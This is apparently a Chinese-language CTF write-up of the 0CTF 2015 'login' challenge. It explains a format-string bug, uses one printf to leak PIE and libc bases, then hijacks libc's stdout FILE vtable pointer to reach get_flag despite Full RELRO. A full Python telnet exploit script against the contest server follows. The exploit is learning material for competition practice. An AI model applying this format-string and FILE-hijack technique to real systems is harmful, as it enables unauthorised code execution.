0ctf login writeup

原创

ling13579 于 2015-04-12 21:02:11 发布 1652 收藏 1

溢出点：

比较明显的格式化。

```
printf(&s1, v1);                                        // 格式化
puts(" login failed.");
puts("1 chance remaining.");
printf("Login: ");
get_buf((__int64)&s1, 256);
printf("Password: ", 256LL);
get_buf((__int64)&s, 256);
v2 = strlen(&s);
MD5((__int64)&s, v2, (__int64)&v4);
v3 = (__int64)"root";
if ( !strcmp(&s1, "ropt") )
{
  v3 = (__int64)"0ops{secret_MD5}";
  if ( !memcmp(&v4, "0ops{secret_MD5}", 0x10uLL) )
    sub_FB3();
}
printf(&s1, v3);                                        // //格式化
puts(" login failed.");
puts("Threat detected. System shutdown.");
exit(1);
```


利用：

程序进入这个函数之后，只有两次格式化的机会，之后程序就会调用*exit*退出了。显然第一次格式化是用来泄露用的，第二次是用来改写数据的。
程序为*PIE*代码，且有*aslr*，因此所有地址都不是固定的，不过通过第一次格式化，肯定能得到*login*和*libc*的基地址。
主要第二次格式化应该改写什么。因为程序开启了*FullRelro*，主程序中的函数指针（如*GOT*表）都位于只读区域，不可改写。而程序在第二次格式化后只调用了*2*次*puts*，就直接*exit*了，也没法通过修改堆栈控制程序流程。后来想到，搞主程序不行，就去搞*libc*。分析*puts*函数，发现一个间接调用。*Stdout*位于*libc*的*.data*段中。因此想到通过改*stdout*，来控制程序调用到*get_flag*函数。

```
v5 = stdout;
LODWORD(v11) = (*(int (__fastcall **)(void *, __int64, __int64))(*((_QWORD *)v5 + 27) + 56LL))(v5, v1, v4);
```

修改*stdout*为*x*，为了能到达间接调用需要满足：

x[0:4]&0x8000=1

x[192:196]=0xffffffff

这样程序调用的是 *[x+0xd8]+0x38*中的内容。
即：
x[x+0xd8]=y
[y+0x38] = get_flag

需要*x*、*y*值可控，找了一下，最可控的地方是主程序中保存用户名的地方

```
.bss:0000000000202040 ; char dest[264]
.bss:0000000000202040 dest            db 108h dup(?)          ; DATA XREF: sub_E3A+B4↑o
.bss:0000000000202040                                         ; sub_E3A+C3↑o ...
```

因此把*x=y=0x202040+login_base*

整理一下：
给*x*赋值时：*x[0:4]&0x8000=1x[192:196]=0xffffffff*
第二次格式化时，需要同时改写*3*个地方：
 # stdout <== x
#x+0xd8 <== x
 # x+0x38 <==get_flag
完整利用脚本如下：

```
#encoding:utf-8
from convert import *
import telnetlib
import struct

#ip = '192.168.194.129'
#port = 1234

ip = '202.112.26.107'
port = 10910

t = telnetlib.Telnet(ip, port)

def stop():
    raw_input('pause')

def init():
    t.read_until('Login:')

    t.write('guest\n')
```

```
    t.read_until('Password:')
    t.write('guest123\n')


def login():
    t.read_until('Your choice:')
    t.write('2\n')
    t.read_until('name:')
    t.write('\x81'*4+'A'*188+'\xff'*4+'a'*(256-196))


def login_as_root():
    t.read_until('choice:')
    t.write('4\n')
    t.write('%75$p%79$p\n')
    t.read_until('Password:')
    t.write('passwd\n')
    data = t.read_until('login').split('login')[0].strip()
    mainbase = int(data.split('0x')[1], 16) -0x12d3
    libcbase = int(data.split('0x')[2], 16) - 0x21ec5

    print hex(libcbase)
    print hex(mainbase)

    stdout = libcbase + 0x3bf870
    x = mainbase + 0x202040
    get_flag = mainbase + 0xfb3

    print 'stdout', hex(stdout)
    print 'x',hex(x)
    print 'getflag', hex(get_flag)

    # stdout <== x
    # x+0xd8 <== x
    # x+0x38 <== get_flag
    print 'x+0xd8', hex(x+0xd8)
    print 'x+0x38', hex(x+0x38)
    rt = []
    rt.append(x&0xffff)
    rt.append((x>>16)&0xffff)
    rt.append((x>>32)&0xffff)
    rt.append(x&0xffff)
    rt.append((x>>16)&0xffff)
    rt.append((x>>32)&0xffff)
    rt.append(get_flag&0xffff)
    rt.append((get_flag>>16)&0xffff)
    rt.append((get_flag>>32)&0xffff)

    rt.sort()

    rt2 = []
    rt2.append(x&0xffff)
    rt2.append((x>>16)&0xffff)
    rt2.append((x>>32)&0xffff)
    rt2.append(x&0xffff)
    rt2.append((x>>16)&0xffff)
    rt2.append((x>>32)&0xffff)
    rt2.append(get_flag&0xffff)
    rt2.append((get_flag>>16)&0xffff)
    rt2.append((get_flag>>32)&0xffff)
```

```
    rt2.append((get_flag>>32)&0xffff)

    rt3=[stdout, stdout+2, stdout+4, x+0xd8, x+0xd8+2, x+0xd8+4, x+0x38, x+0x38+2, x+0x38+4]

    print 'rt', rt
    print 'rt2', rt2
    print 'rt3', rt3

    final_l = ''
    final_r = ''
    index = 14 + 2 + 7

    final_l = '%22$hn%23$hn'
    final_r = l64(x+0xd8+6)+l64(x+0x38+6)
    for i in range(len(rt)):
        if i != 0:
            if rt[i] == rt[i-1]:
                continue
        if i == 0:
            temp = rt[i]
        else:
            temp = rt[i] - rt[i-1]
        final_l += '%'+str(temp)+'x'
        for j in range(len(rt2)):
            if rt2[j] == rt[i]:
                final_l += '%'+str(index+1)+'$hn'
                final_r += l64(rt3[j])
                index += 1
    print len(final_l)
    final_l += '0' * (8 * 14 - len(final_l))
    shellcode = final_l + final_r + '\n'
    print repr(shellcode)

    t.read_until('Login')
    t.write(shellcode)

    t.read_until('Password')
    t.write('12345\n')

def exp():
    stop()
    init()
    login()
    t.write('1\n')
    login_as_root()
    t.interact()

exp()
```